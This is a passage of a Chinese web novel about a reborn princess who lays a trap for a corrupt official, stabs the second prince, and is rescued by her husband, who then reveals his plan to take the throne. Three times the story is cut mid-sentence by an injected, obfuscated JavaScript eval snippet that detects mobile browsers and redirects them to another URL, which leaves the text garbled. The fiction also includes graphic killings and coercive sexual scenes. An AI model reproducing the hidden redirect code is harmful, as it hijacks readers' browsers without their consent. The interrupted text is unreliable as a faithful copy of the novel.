乌春鼓了鼓嘴,一副受了气的委屈模样,“殿下可是说我粗心大意,会弄丢你的东西?” 沈绥凉如寒玉的眼眸渐渐柔和下来,屈起手指,在她鼻梁上刮了一下,“难不成你在毓宁宫里还做过清点物件的活?” 乌春冷不防被他一刮鼻子,眼睫毛像蝴蝶两片翅膀似的受了惊一颤,当即会意,脸上带上几分羞怯之色,“虽然寻常女子为人妇都要掌管后院诸多事宜,可耐不住我的夫君不让我做这些,这些自然是交给下人做的。” 她眼瞧着沈绥的神情愈发缓和,便心知他很吃这一套,继续往火里添柴,“夫君对我这般好,我自然是要回报夫君的,走罢,去岁我在逢春殿的梨花树底下还埋了酒,今日将它挖出来尝尝。” 沈绥缓缓道:“一年的酒可不够陈。不过你若是愿意,挖出来也无妨。” 他终于收回了在乌春身上打量的视线,朝着逢春殿走去。 乌春心里松了口气,也不知道以他的敏锐,会不会已经开始怀疑她了。 她压根儿瞧不出来沈绥心里在想什么,此人有时候平白地让人后背升起一阵寒意。 到了逢春殿,乌春真的将酒挖了出来,这一日难得和沈绥没有吵起来,两人叫来了下酒菜,乌春惯爱吃甜食,筷子便总往沈绥面前的糕点碟子伸。 他又不喜甜,将糕点碟子摆到他面前,真是浪费。 乌春伸了两次筷子,第三次的时候,沈绥的筷子和她的筷子碰到了一起,夹住同一块梨花酥,这块梨花酥形状是最好看的,上面撒的充作梨花花蕊的糖霜也多,乌春不愿意放弃,便试图将沈绥的筷子掰开,沈绥手腕一转,就将乌春的筷子挡开。 沈绥自若地夹起那块梨花酥,面上波澜无波,仿佛只是在做一件很寻常的事情。 还没等沈绥将梨花酥送入口中,乌春借着几分朦胧的醉意,“啪”的一声撂下筷子,闹脾气的小孩子似的嘟囔道,“你分明不爱吃甜食,就是存心与我作对!” 沈绥的动作顿在半空中,眼眸在乌春透着半粉的面上一扫,又垂下来,打量夹着的这块糕点,“我本来瞧着这花好看,可想了想,终究这花只是外表好看,内里却不知是什么馅做的。” “知面,不知心。还是给爱妃吃罢。” 沈绥一面说着,一面伸出筷子,将梨花酥递到乌春嘴边喂了进去,乌春猝不及防,只好下意识一口吃下,腮帮子鼓得跟松鼠似的。 嘴唇擦过筷子上的一点湿润。 她觉察到那是什么之后,耳根子红了个透。 27. 灭口 偏偏沈绥坐在对面,一派正经,乌春气也没处撒,只能吃糕点喝酒,一下子整张脸都染得透粉,像是冬日里缀满了霜雪的红梅,冷白的皮下透着绝色姝艳。 沈绥搁下筷子,起身后站到乌春身侧,微微俯身,“我现下觉得有些亏,不如让我尝尝那块梨花酥是什么滋味。” 说着他更加凑近乌春,可以瞧见乌春面上被夕阳的金色余晖照出的细小绒毛,乌春因喝了酒,反应变得迟钝了些,竟然就让沈绥凑到了近前,可以闻见他身上那淡淡的清冷檀木香的气味,还有他滚烫挠人的吐息。 乌春猛然清醒过来。 这是谁? 这是沈绥!是前世杀过她的人! 她猛地朝后一缩,沈绥怕她摔了,扣住她的后脑勺,因着她对自己的抗拒,他眼眸里好不容易化开的一点温暖春意又渐渐变得料峭寒冷。 “怎么了?”他问。 乌春彻底清醒,心里对他尚且还存着几分畏惧,他眼眸冷下来的时候,从来没什么好事,便道:“没、没怎么……” 沈绥的眼神方渐渐缓和,俯身在她唇上啄了一下,只觉怀中人身子微微发颤,不知是不是想到了数日以前,她的身子对他的气息都抗拒得很,仿佛他是什么洪水猛兽,仅仅只是吻了她一下,她的双手就将自己的袖子攥出了许多褶皱。 乌春也的确不光想到了前世,也想到了数日以前,她才不愿再受他一遭。 沈绥眼神淡漠,缓缓蹲了下来,因着身形高大,他也只是微微仰头瞧她,“你在怕我?” 乌春几乎是瞬间就回答:“怕。” 若是说不怕,方才对他的抗拒就不好解释了。此人虽然心思琢磨不透,但这么些时日的相处,她看得出他是个吃软不吃硬的人。 沈绥本来该没多少意外,可他的心里莫名像是被刀尖划了一道似的,“从前的事,我同你道歉。” 乌春见他密而长的眼睫毛静静垂下,真的在同她道歉,她反而有点诧异,沈绥几时还会跟人道歉了? “可这世上的很多道歉,总是太迟,所以也就显得……无足轻重。” 乌春眼见着沈绥垂在身侧的手握了起来,指节因为用力而发白。 她却莫名觉得痛快。 不知这痛快从何而来。 或许人都是有报复心的,看着沈绥现在同她道歉,看着他因为自己而揪心,她难能可贵地从他这里找到一丝报复的快感。 沈绥却问:“还有什么事是我做错了的?不止数日以前罢。” 高空,最后一缕夕阳的橙红也被远方的青山吞噬,夕阳总是将青山霸道地染成它的颜色,却也总是逃不脱被青山吞噬光芒的宿命。 夕阳彻底消失的时候,逢春殿中也暗了下去。 沈绥的脸笼罩在阴暗处,一双眼却尤其剔透。 乌春只是笑了笑,又摇摇头。 且不说他信不信前世今生之说,便是他知晓了前世她的惨死,又能如何? 他从来就是个冷心冷肺的人。 一个人是不可能改变任何其他人的。 她自然也无法撼动沈绥的本性。 见她不说话,沈绥却像是明白了。 他站起身,“我不知道的事情,迟早有一日会知道,你且记着,你活一日,便是我沈绥的妻子一日。” 然后朝外走出去,背着光,整个人快要与暗沉的天色融为一体。 乌春脸上浮现出一丝毫不意外又带了几分苦涩的笑意。 瞧,他永远都是这样,只会将她禁锢在自己身边,从未问过她究竟愿不愿意。 …… 在这一次不欢而散之后,沈绥继续查谢阮阮的案子,而对于沈珙被人下毒一案,大理寺和刑部似乎没有多大推进。 没过多久,乌春就听闻薛守德要逃离帝都的消息。 而沈珙,在八个太医穷尽毕生所学的努力下,醒了过来,只身上有些虚弱。 乌春盘算了会,忽然一拍桌子,同惊莲和玉梨道:“替我备马车,我要出宫一趟,就说是为了探望三殿下,若是不放行的,拿沈绥给我的这封信给他们瞧了。” 那封信是沈绥前几日写来的,说是事务繁忙,若是得了空,再来瞧她。寥寥几行,却有沈绥自己雕的印章印记,没用“绥”这个字,用的是“辞宁”。 且不说她先前在外帮着大理寺查清楚了银镯案,若是去大理寺,旁人只会觉得她又有什么奇思妙招断案,她便只是拿着这信说沈绥思念她,宫里的人粗略一扫,瞧见印章便会放行。 乌春又急加了句,“快!” 她去了库房一趟,找来几味毒粉,又找来匕首,藏在袖中。 两个丫头不敢耽误,连忙为她准备好车马,出宫之后,乌春对着车夫道:“去郊外,我夫君在信上说,他追疑犯追到了郊外,一连几日都宿在那里,我自然是要去找他的。” 车夫应了声好。 可两个丫头都晓得,乌春是在撒谎! 沈绥从未提过他去了郊外! 饶是平时冷静聪慧如惊莲,眼下也慌了,小声耳语:“殿下,您要现在就回南疆吗?我们什么都没准备,就这么走吗?” 乌春道:“稍安勿躁,今夜你就知道了。” 抵达客栈的时候,已经是夜里,天上零星有两颗星子,很快又被浓密的乌云遮盖了去,风穿堂呼啸而过,带起客栈老旧的木窗子咯吱摇晃,像是染了痨病的将死之人发出一声声粗哑的咳嗽。 玉梨看着一直守在窗边的乌春,不禁双臂抱紧自己,“殿下,您到底在看什么呀?今夜怪冷的。” 乌春只是静静看着窗下,她要了最顶层的房间,就为了高处视野开阔。 乌春沉默不答,“今夜若是等不到,我们便再侯一夜。” 玉梨和惊莲对视一眼,到底是什么事情要等在此处等这么久? 等到半夜三更,两个人都昏昏欲睡,乌春忽然道:“有了!” 被浓厚的乌云妆点的夜幕之下,帝都街道一片静寂,只零星几户人家点了微弱的烛火,打更人的梆子声一声比一声远,等到那声音彻底淡了,街角才有一个蒙面的黑衣人走了出来。 他神情惶恐,时不时四下望望,身上背着一个包袱,有些沉,大抵是把家中价值高些的物件都带了。 他似乎也很累,瞧见再有一段路就能出帝都,便松懈了下来,坐在包子铺的柜台之后,那柜台恰巧将他整个人都遮住。 扯下了面巾。 正是薛守德! 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178259|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是薛守德想不到,在他走过的地方,悄无声息地走出了几个轻手轻脚带刀的黑衣人,他们像是他的影子,一路尾随,终于寻到了时机。 朝着他靠近、靠近…… 越来越近…… 就当薛守德察觉到似有不对劲的时候,他猛地被人捂住了口鼻! 同时,楼上一直观察的乌春大喝一声,“沈珙!” 她的手指紧紧抓着窗沿,指甲都在木头上留下了月牙,她本来嗓门小,但这一声用了十足的力气,在寂寥的夜色中传了出去,也让远处的人听见了。 那几个黑衣人下意识顿住了脚步,寻找声源,身形慢了一瞬。 薛守德本就做贼心虚,反应自然快,当即挣脱,跳出几步开外,尖声道:“果然是沈珙的人!” 他怕极了,便在路上狂奔起来,大呼:“有人要杀人了——有人要杀人——” 黑衣人们哪里容得他逃了,便追上去,其中一个人不甘被戏弄,朝后方声音传来的地方寻找,乌春早已关上了窗户和灯,在外瞧不出一点异样。 乌春在一片黑暗中,静静听着,听见那薛守德的声音越来越小,然后突然消失。 她的心脏开始剧烈跳动。 今夜直到如今,都在她的计划之中。 薛守德这般沉不住气,这般蠢,肯定挨不过大理寺查案子这么久,恐怕每日都惴惴不安。 他能做的,便是逃。 而另一边,沈珙苏醒,肯定能猜到要谋害他的是薛守德。仇家就这么多,如此莽撞敢在生辰宴上陷害的,只有薛守德那个莽夫。 他不能对外说自己和薛守德有仇,那样他和薛守德在修筑大坝时的龌龊勾当也要被摆在明面上。 他只能暗地里杀薛守德。 就是今夜! 乌春赌的是沈珙会不会亲自来。 他那种睚眦必报又嚣张跋扈的性子,必然要亲眼看见仇家的死去,才能解心头之恨。乌春前世也听说他喜好虐杀顶撞他的人,所以,他极有可能要看着薛守德被虐杀而死。 可他体内尚且余毒未清,会冒着险来附近守着吗? 若是他来了,那黑衣人很快就会察觉她刚刚声音的异常,一边通报沈珙,一边找声音的所在地。 她若是被发现,就一定会被灭口! 乌春对两个丫头道:“我出去一会儿,无论发生什么,你们不要出来,将门锁住,听见三长四短再开门。若是等到天亮我都没有回来,你们就说……说我死了。” …… 沈珙坐在一间茶楼顶上,他透过窗子的缝隙,借着手边的烛火和乌云中漏下来的一点月光,自然是将下面的光景一览无余,也听见了那一声“沈珙”。 可惜等到他锁定声音的方向,斜对角那座客栈的灯火已经熄灭。 沈珙将一个茶盏摔得粉碎,眼神阴鸷得似乎能生生将活人吃了! 过了半晌,他的身边出现了一个黑衣人,“禀告殿下,薛守德已经昏迷,殿下要他如何死?方才上空突然出现一声呼喊,耽误了属下们几息功夫,想必今夜的计划被人知晓,是否要斩草除根?” “不杀那人,留着个把柄,要他来要挟我吗?给我搜!就在斜对面那间客栈!” “是!” 28. 恶鬼 乌春从窗子的缝隙瞥见那些黑衣人去了一座茶楼之后,便确定了沈珙就在那茶楼里。 她不敢贸然行动。 她不会功夫,也从未杀过人,唯一的凭仗只有袖中的毒粉和匕首。趁着沈珙的人还未赶到,便从一早就打听过的客栈后门溜了出去,出去之后是一堵围墙,要翻出去并不容易。 不过好在墙边总会有几棵树,乌春这种事没少干,很快便上到了墙檐。 乌春躲在婆娑的树叶后,隔着树叶的缝隙往客栈望,只见大门处亮起了火光。 “二殿下有令,即刻封锁此楼,任何人不得外出!” 乌春收敛心神,打算从墙上跳下去,往下一望,她的心跳骤然加快! 下面正有一个黑衣男子! 他目露凶光,一双眼在黑夜中像是狼一样凶狠可怖,手中长刀森然冷光,映出乌春的袖角,似乎正要大喝唤人来。 乌春来不及多想,飞快撒出袖中毒粉,那黑衣人虽猝不及防,捂着口面,一时晕倒不了,却也踉跄了两步,乌春怕他发出声音,跳下墙来,再撒一把毒粉。 长刀就要劈过来,那刀甚至已经映出乌春飘扬在眼尾的半缕发丝! 乌春猛地矮身闪避,长刀便割下她半边袖子。 医者对于人的躯体组成最是熟悉,乌春用一把粉末迷了那人的眼后,一刀割破了他的咽喉! 血登时珠子似的喷射而出。 “咚。”黑衣人的身躯倒下。 他圆睁着双眼,血从脖颈处渐渐晕染开,成了一片血红的湖泊。 乌春的脸上被溅了几点鲜艳的血。 她从未觉得心跳如此剧烈,擦净脸,握紧了匕首,不敢多耽搁,朝着茶楼跑过去。 沈珙势必会留一两个人在身边守着,一是为了看守薛守德,二是为了保护她自己。 一个人兴许还能用毒使巧杀死,可三个力量身材都比她魁梧得多的男人,她很难一次性全杀。 最安全的方法是,谈判。 乌春于是刻意制造动静,引得两个黑衣人从楼上下来,“你是何人?竟敢出现在此处!莫非是刺客?” 他们惊讶于此人的胆量,竟敢如此堂而皇之地出现在茶楼的正门! 正抽刀之时,乌春将面巾一把扯下,瞧见她是个女子,那两个人不由得更惊,动作顿了顿,乌春道:“我是来找沈珙谈事的。你们看清楚了,我是三皇子妃,南疆的和亲公主,若是杀了我,不光你们,连你们殿下都逃不脱罪责。届时南疆王发怒,向大梁出兵讨伐,圣上不堪其扰,第一个问斩的就是你们!” 两人的动作果然顿住,对视一眼,却没有答话。 乌春继续道:“若是不信,让沈珙下来见我。” 其中一个人给另外一个人使了眼色,便匆匆上去,很快,沈珙便从楼上下来。 乌春竭力控制自己的手,才不让自己心里的恨意和恐惧从身子里抖出来,表面上一脸镇定。 沈珙看清了她的模样后,冷笑一声,“我倒是不知,什么时候沈绥将你安插到这里来了?” “与他无关。我只是夜里宿在这里,今夜睡眠浅,便在窗边吹风,无意看到有人要杀人,刚好那人我认识,只看身形也能认出一个人,便想方设法救他,没想到惊扰了二殿下。” 沈珙眉毛倒竖,“你撒谎!你怎么会知道我在这里?分明是有人给了你情报!” 乌春却悠闲,还弹了弹指甲,“殿下为何不敢说说自己和工部侍郎之间那桩交易?” 沈珙的神情从怒不可遏变成了一脸的不可置信,“你到底知道些什么?” “我不光知道你和薛守德偷工减料,从修筑民间大坝的工程牟利,还知道你和他素来有仇,不然,你怎么会出现在这里,而不是光明正大地通知大理寺,要他们查薛守德呢?” 乌春说着,还露出一个淡淡的笑容,嘴角两边凹进去两个小小的梨涡,像是两片花瓣飘落在春水上。 可这笑容莫名瘆得慌! 若是连这种事情她都知晓……她一个平平无奇的粗鄙南疆妇人都知晓…… 那到底有多少事情是三皇子沈绥知道的? 沈珙不禁后背发凉,幕后之人是沈绥的话,想必他今日只是用乌春来跟他谈判。不亲自露面,比亲自出现更让人觉得胆寒。 “你们想要什么?”沈珙看了眼两边的黑衣人。 乌春略过他口中的“你们”,不同他解释此事和沈绥没有关系,也看了眼两边的黑衣人,“让他们下去,此处人多眼杂,我们到楼上坐着说。” 沈珙自然不会觉得她一介妇人能有什么威胁,便到了顶楼。 “现在你有什么想说的?” 乌春看了眼四周,趁着沈珙没有防备的时候,猛地掷一把毒粉! 沈珙剧烈地咳嗽,在愕然之余,登时反应过来,抄起手边一把椅子便朝着乌春砸了过去。 “轰——”椅子摔在距离乌春只有几寸的距离!、 到底是毒粉延缓了他的行动,他踉跄两下,又咳嗽两声,屏住呼吸,抬眸见正对着他,刺来一把匕首! 沈珙抬掌抵挡,尖锐的匕首刺痛了他的掌心,当即痛呼,不料吸入更多毒粉,一张脸涨得发紫。 乌春再刺他的脖颈,却刺歪三分,血喷射而出。 可沈珙已经吸入不少毒,即便她刺歪了,也力气不支,晕死在地。 结束了。 乌春手中的匕首,竟然生出几分恍惚感,心下一片空洞,原来大仇得报的瞬间,竟然是这种感觉。 她深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178260|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸几口气,打算再想办法离去的时候,脚踝上忽然一股强横的力道袭来,将她扯倒在地,匕首也飞了出去! 原来沈珙是在装死! 沈珙顷刻将她压在身下,受伤的手制住她的行动,一手扼住她的脖子,血滴滴落下,模糊了乌春的视线,她拳打脚踢,只觉喉间窒息,透不过气,仿佛埋在水中呼吸似的。 她要撒毒粉,可沈珙早已料到,拿过匕首在她手腕上狠狠割了一道! 钻心的疼。 将死之人的最后一搏,无论如何也要把仇人杀死!更何况是沈珙这样记仇的! 乌春的眼中,除了猩红,只有沈绥那张发紫的狰狞的脸。 她想,这一世到底还是这般死了…… 就当她闭上眼时,脖子上的力道陡然卸去,只听一声沉闷的响,她被一股力道托起来,随后撞上触感熟悉的胸膛。 浅淡冷香中和了她身上的血腥味。 乌春睁开眼。 只见沈珙的头部正插着一把匕首,令人作呕的浆液和着血汩汩涌出,他死不瞑目地看着一个方向。 而这方向的所在,正是沈绥。 乌春抬起头,只见沈绥一双墨黑的凤眸正倒映着她沾满了血的面容。 他很平静,像无悲无喜的佛,垂眸看众生。 明明亲眼目睹了他素来娇弱的妻子,在半夜三更的帝都郊外,和他的皇兄搏杀,他却任何讶异的神情都没有,仿佛只是一个漠然看戏的看客。 乌春不知该怎么同他说,脑子里一时间转过八百个说法,可竟然连一句合理的话都没有。 正当脑中一片空白之时,沈绥捏起了她的手,从自己袖子上扯下一块布料,将她的伤口缠绕起来。 然后取出块帕子,一根根擦拭她的手指。 冰凉的、柔软的的触感。 外面忽然开始下雨,雨的声音在寂静的包厢里显得尤其明显,噼里啪啦地珠子似的跳下来,直直往人心里砸,让人心惊不已。 沈绥显然是觉得这血太脏了,眉心都微微蹙起,极有耐心地擦她的手指,甚至连指缝里他都瞧了瞧,确认了干净才擦她另外的手指。 乌春莫名觉得心里发怵。 “我……”乌春哑声开口,却不知该说些什么。 沈绥停下了手中的动作,抬起眼眸,说出了几乎让乌春浑身一震的话。 “想当皇后吗?” 他的身边是窗户,窗子骤然炽亮一瞬,将沈绥的脸映得惨白如同恶鬼,可他的脸色又很平静,也正是平静,才更让他显得更加让人遍体生凉,偏生他又生得面如冠玉,眼尾那颗红色小痣愈发惹眼。 “我为帝,你为后。” “隆隆——” 又是一场夹杂着滚滚闷雷的秋雨。 29. 抵命 这句话意味着沈绥的野心和筹谋全部暴露在乌春面前! 知道这种事是很可怕的,因为保不齐沈绥哪天要杀人灭口,就要将她杀了! 乌春手指冰凉一片,她的血液冰凉,沈绥捏着她的手也冰凉,不自觉地往回缩,沈绥一双锐利的凤眸却抬起来盯着她,乌春便也不敢再动。 乌春张口,不知是因为犯下滔天罪行杀了大梁皇子的心悸,还是因为得知了沈绥要称帝的野心,嗓音之中带了几分颤抖,“我保证……不会说出去……我、我发誓,若有违此誓……” 她来不及说完,沈绥便将食指贴在了她的唇上。 是一个噤声的手势。 “嘘。” 沈绥将她的手彻底擦净之后,慢条斯理,“夫妻同心,自然是该当如此。” 乌春心里却更怕,小心翼翼在沈绥面前伪装了一年,在今日彻底败露——谁家的娇柔小公主敢用毒和匕首杀二皇子? 也不知沈绥会不会一怒之下把她怎么样了。 也许是瞧出了她的不安,沈绥深墨色的眼眸一转,俯身咬着她的耳垂轻轻一碾,温热潮湿的触感让乌春不禁战栗,他又在她耳边低语,气息一下下地挠着她的耳朵,弄得她不自主缩着脖子。 “可有见到薛守德?” 乌春下意识摇头。 却忽然意识到,沈绥是来找薛守德的,竟然目标和她一样,可他是怎么怀疑到薛守德身上的? 沈绥确认了她身上没有别的伤之后,扶着她站起身,“你住在对面那客栈里头罢?先回客栈,将剩下的毒粉给我。门口有一把伞。” 乌春照做了,在隆隆雷雨声中回到了客栈。 在客栈中搜查的黑衣人已经被大理寺的人抓捕,他们除了一个胆子小的,其余全部咬舌自尽,磕磕巴巴吐出来关于沈珙的命令,可显然他知道的也不多,半天问不出关键的,又被杀死了 乌春进去的时候,大理寺的人都很恭敬,也并未拦着她。 一回到房间,惊莲和玉梨便拥上来,泣道:“殿下……您真是急死我们了!真怕您有个三长两短,我们便只能自戕谢罪了!” 乌春仍旧是一副未回过神来的苍白模样,几缕发丝凌乱地贴在腮边,两个丫头只好给她又擦脸又换衣裳,都很默契地没有问乌春到底做了什么,而乌春也并不打算告诉她们。 换衣裳的时候,玉梨瞧见了乌春手臂上那被血浸透的布帛,惊呼一声,恰在此时,房门被敲响。 门上糊着的那层纸上映出一个黑影,黑影身量修长挺拔,肩膀宽阔。 两个婢女不知道外面是什么人,互相对视一眼,乌春却认了出来,怔怔开口:“进来罢。” “殿下!” 还没等惊莲和玉梨阻拦,那门便开了。 沈绥不知用什么法子从掌柜的那里又拿了把钥匙,所以门能从外面打开。 和沈绥对上视线的瞬间,乌春才陡然意识到为何惊莲和玉梨发出了一声惊呼。 她尚且光着身子! 只见沈绥的瞳孔在一瞬间缩紧,像是被陡然升腾起的灯花晃了眼似的,视线渐渐变得滚烫起来,落在乌春身上,如有实质,几乎能将她光洁的肌肤灼出几个窟窿。 沈绥倒是显得冷静得多,薄唇勾起一丝玩味,“这么迫不及待?” “滚出去!” 乌春连忙抓起衣裳披在自己身上,可那衣裳是里层的,只有薄薄一层,像是在身上笼了层纱,半遮半透,同隔着濛濛细雨看青山楼台会别有韵味一样,这般若隐若现地看乌春,也更多了几分婀娜风情,倒显得像是引.诱。 沈绥自然不可能走,视线在惊莲和玉梨身上一扫,她们就不敢在这里多待,连忙低着头出去了,沈绥将门合上。 乌春趁机又抓衣裳穿,可慌不择路之下,连身上披着的薄衣也落下半幅。 瓷白的香肩圆润如玉,再往下一寸便是春.光毕露。 那圆肩被一只灼烫修长的手握住。 沈绥手一带,便把乌春抱了起来,抱去床榻,乌春捶他的胸膛,反倒把衣裳又挣落了不少,沈绥陡然顿住,眼神落在某处,暧昧至极地道:“再动,什么都遮不住了。” 乌春一低头,心里一惊,果然不动了,暗道恐怕今夜又要遭罪了。 沈绥将她放下来后,却没有上床榻,反倒取来惊莲和玉梨准备好的伤药。 还好医者习惯出门在外带些膏药,此时便发挥了作用。 沈绥坐下来后,将乌春揽在双臂之中,才开始给她处理伤口。 男人的躯体委实高大,外表看着属于颀长的类型,可真要凑近过来,却能将乌春衬得很娇小,至于脱了衣裳,那一身分明又紧实的肌肉,更叫人暗暗心惊,怎么平时只觉得他清瘦,没曾想身上的肉如此结实有力。 乌春觉得很有压迫感,像是被他的双手的禁锢在小小一方天地里似的,让她透不过气。 很久没有和沈绥这样平静地依偎在一起了。 等沈绥给她处理完伤口,他将药放在床头的小木几上,就一手揽住乌春的后腰,乌春只觉有一阵热麻之意从后腰一直窜上来,让她头皮发麻。 “别……”她娇呼。 沈绥喜欢她这声音,又将手往下挪,乌春猛地攥住他的手臂,咬着唇摇头。 可乌春只有一只手有力气,平素是两只手都掰不动沈绥一只手,现在又如何能阻止沈绥? 只能慢慢地,张开嘴,仰起头,低低抽着气,像是溺水时不时浮上水面汲取一口空气的人,眼尾像是拂晓时的天空,一点点染上胭脂红,只能伏在他肩头小声忍耐地娇哼。 沈绥在她耳边道:“这一层都没有人,大点声也没关系。” 沈绥将她放倒,乌春却在这个时候问他,“你是怎么来此处的?” “你能知道薛守德会被沈珙追杀,却想不到我为何会来?”沈绥拈了拈指尖,在烛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至于毒粉,因为曾经在吟风楼的井底尸体身上发现过同样的毒,而那两具尸体,又被查出来生前为薛守德做过事,两桩事连在一起,就可以断定毒是薛守德下的。 事情是按照乌春的预料发展的。 沈珙和薛守德斗,她坐收渔翁之利。 可还是有些意外。 她从来没有想过沈绥会参与到她的计划中,而她若是没有沈绥那一刀,说不定真要死在沈珙手下了。 阴差阳错,前世她被沈珙要挟,沈绥没来救,这一世她杀沈珙的时候,沈绥倒是来救她了。 乌春只觉命运弄人。 二皇子的死对朝局有撼动,但并不能改变皇子数量少,陈家独揽大局,皇帝处处受制的局面。 此朝,危矣。 回宫之后,乌春就开始筹划出宫,除了沈璎和萧怀文之外,她忽然想到,其实还有另外一个人可以求。 ——泽安王沈珩。 30. 情愫 当乌春想方设法怎么求沈珩帮忙的时候,成将军府上正闹得不可开交。 成大小姐成昭扬在沈珙的生辰宴会上相中了户部侍郎家的庶出公子赵青,按理说,成昭扬是将军府上的嫡出,而赵青只不过是小小侍郎家的庶出,颇有点低嫁的意思,可成昭扬却死活吊死在一棵树上,说什么非他不嫁。 成昭扬的亲生母亲姜氏气得快要吐血,“我让你学琴棋书画,我把你养成半点苦都吃不得的千金小姐,平日里事事纵容你,你却好,非要嫁那个野小子,你这样的出身样貌,怎么也该嫁个世子啊王爷啊的!你对得起我这些年的含辛茹苦吗?!” 成昭扬跪在地上哭,却一副不肯松口的模样。 一直站在一边的成静仪开口道:“嫡母莫要气坏了身子,姐姐是性情中人,我反倒是羡慕姐姐的勇气,能够嫁给意中人,也是女儿家的福气,嫡母若是要劝,不如好声说话,莫要起了反作用,把姐姐逼急了还不知会做出些什么来。” 姜氏咬牙切齿,“你懂什么?这狗屁的福气谁要!要不然你嫁给那姓赵的小子?!” 成昭扬哭喝,“不可!” 成静仪不说话。 成将军一脸头疼,“要嫁就嫁吧,我看央央这性子,整个帝都门当户对的人家,都容不得,若是眼光低些,寻个老实本分的人,能包容央央这脾气的,也不错。” “你一个臭男人懂什么?!”姜氏恨铁不成钢,“你知道夫家对女儿家来说,那就是大半边的天,咱们娘家毕竟隔得远,总有手伸不到的地方,咱们央央怎么能跟着那臭小子过苦日子?” 成将军皱眉,“你一介妇人眼光,又懂什么?人家户部侍郎在朝中名声可好了,从来不掺和什么乱七八糟的勾当,你以为这帝都的腌臜事还少吗?这朝局,整个大梁朝干干净净的官员能有几个?” 成统隐隐有动怒的意思,姜氏只好忍气吞声,不再说话。 “我改日想法子找户部侍郎吃顿饭,见那姓赵的小子一面,若是那小子对央央也有意,并且是个可以托付之人的话,户部侍郎不会拒绝我,若是我瞧那小子没什么不好的,过段时间就和赵家议亲。” 成统说完就走了,成静仪瞧了眼那母女二人,也跟在成统身后走了。 成静仪做了和梦中一样的事情。 在梦中之时,她在那场生辰宴会,给赵青和成昭扬都下了药,要几个奴婢将他们都引到吟风楼后一处隐蔽的院子。 两人样貌都不错,年纪也相当,除了身家有些差距之外,性子一静一动,倒也互补。 成静仪就觉得她的嫡姐跟这个户部侍郎家的儿子是绝配。 事情也果然如她所料。 成昭扬爱上了赵青,两个人不久后便会成亲。 梦中嫡姐的下场她还记得。 成昭扬嫁过去之后一年,赵青就要纳妾,成昭扬自然不许,若是暗地里使些手段拦着夫君倒也罢了,她偏偏要在家中吵闹,赵青不胜其扰,又碍着成将军的威严,不敢休妻,两个人天天吵架,成昭扬过不了一段时间就要回娘家哭。 而成静仪,就在嫡姐哭诉夫家恶行的时候,风风光光嫁给了素来名声在外的翩翩君子泽安王沈珩当正妃。 当时成昭扬人都愣住了。 这可是连她这个嫡出小姐都要颇使一番手段才能嫁的人! 成静仪在梦中觉得扬眉吐气,可瞧见未来打着清君侧的旗号发动宫变的是沈绥之时,她又觉得,也不过如此。 成统察觉到成静仪一直跟在身后,要上前又不上前,不同路又不后退的,像是有什么心事,便转身问道:“依依,怎么了?” 成静仪欲言又止,想了想决定要开口的时候,耳根子又是一片红,“爹,您给嫡姐议亲的时候,可不可以也顺带着给依依找个人家?” 成统笑,“什么叫顺带,我看你是早有相中的儿郎了,说来听听,若是合适,我便也同你议亲。” 成静仪嗫嚅了一阵子,“……女儿同姐姐一样,在那场宴会上,对一位公子钟情,可公子先前依依在夜里偶然见过,当时隔着月色便觉公子世无双,到了宴会一见,更是钦慕不已。” 成统脸上的笑意缓缓收敛,脸色有些僵,“你是说三殿下?” 成静仪点头。 成统的面色凝重了起来,“依依,有的人是不能……”顿了顿,觉得失言,毕竟现在沈绥只是一个不受宠的皇子,谁也不觉得他日后能有什么作为,又道,“罢了,他不是合适的人。” 成静仪眼里噙起泪,“为何不可?女儿从小到大,不说同姐姐过的日子一样,便是比她的婢女好些的日子,也未曾过过,爹愿意同姐姐议亲,却不愿意同我议亲,连到了终身大事,女儿也不能和姐姐有一样的待遇吗?” 她又哽咽道:“女儿自知出身低微,嫁不得太好的门户,便也不敢肖想,所以只敢对三殿下心生钦慕,三殿下已有一正妃,女儿若是嫁过去,便是当妾了。连这等心愿,爹爹也不愿满足依依吗?” 成统不知如何同她说,便摆摆手,“此事容我再想想。” 成静仪只好作罢。 经今日一试探,成静仪心里便清楚了,爹这是怕沈绥觉得他有异心。 …… 逢春殿。 乌春左思右想,决定还是得趁着这些天沈珙死了,沈珩回宫处理事务的机会,去找一找沈珩。 沈珩听见外面三皇子妃又来了,有些诧异,但经过上回一事,他也不敢怠慢,将人请进来后,屏退了下人。 这一次乌春倒没挤眼泪。 乌春向来是觉得沈珩是可以托付秘密之人,为人也宽厚,便也不跟他绕弯子,将自己所求为何,为何如此,都一一同他说了,一边说着,沈珩的眉头渐渐蹙了起来。 “你肯同我说这些,想必是信我不会说出去,我不会辜负你的信任,但恕我直言,此事我不好帮。” 